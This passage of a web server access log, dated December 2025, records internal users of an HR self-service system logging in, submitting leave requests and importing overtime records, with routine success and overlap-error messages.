x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:07:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120341%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120341%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.136 - - [03/Dec/2025:11:07:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:07:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:07:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:07:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:07:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 192.168.11.136 - - [03/Dec/2025:11:07:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:07:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.136 - - [03/Dec/2025:11:09:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:09:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.135 - - [03/Dec/2025:11:09:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [03/Dec/2025:11:09:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [03/Dec/2025:11:09:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [03/Dec/2025:11:09:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [03/Dec/2025:11:09:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [03/Dec/2025:11:09:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [03/Dec/2025:11:09:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:09:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - 192.168.11.125 - - [03/Dec/2025:11:09:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:09:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [03/Dec/2025:11:09:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:09:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [03/Dec/2025:11:09:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:09:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [03/Dec/2025:11:09:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:09:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [03/Dec/2025:11:10:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [03/Dec/2025:11:10:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [03/Dec/2025:11:10:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.125 - - [03/Dec/2025:11:10:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.125 - - [03/Dec/2025:11:10:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 11154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 11154 192.168.11.136 - - [03/Dec/2025:11:10:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:10:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:10:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120342%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120342%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.125 - - [03/Dec/2025:11:10:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44878 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44878 192.168.11.125 - - [03/Dec/2025:11:10:29 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:29 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.125 - - [03/Dec/2025:11:10:29 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:29 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.135 - - [03/Dec/2025:11:10:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12233359814326339 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:10:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12233359814326339 HTTP/1.1" 200 8908 192.168.11.125 - - [03/Dec/2025:11:10:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:11:10:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 192.168.11.135 - - [03/Dec/2025:11:10:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12233359814326339 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12233359814326339" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:10:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12233359814326339 HTTP/1.1" 200 24852 192.168.11.136 - - [03/Dec/2025:11:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:10:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:10:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 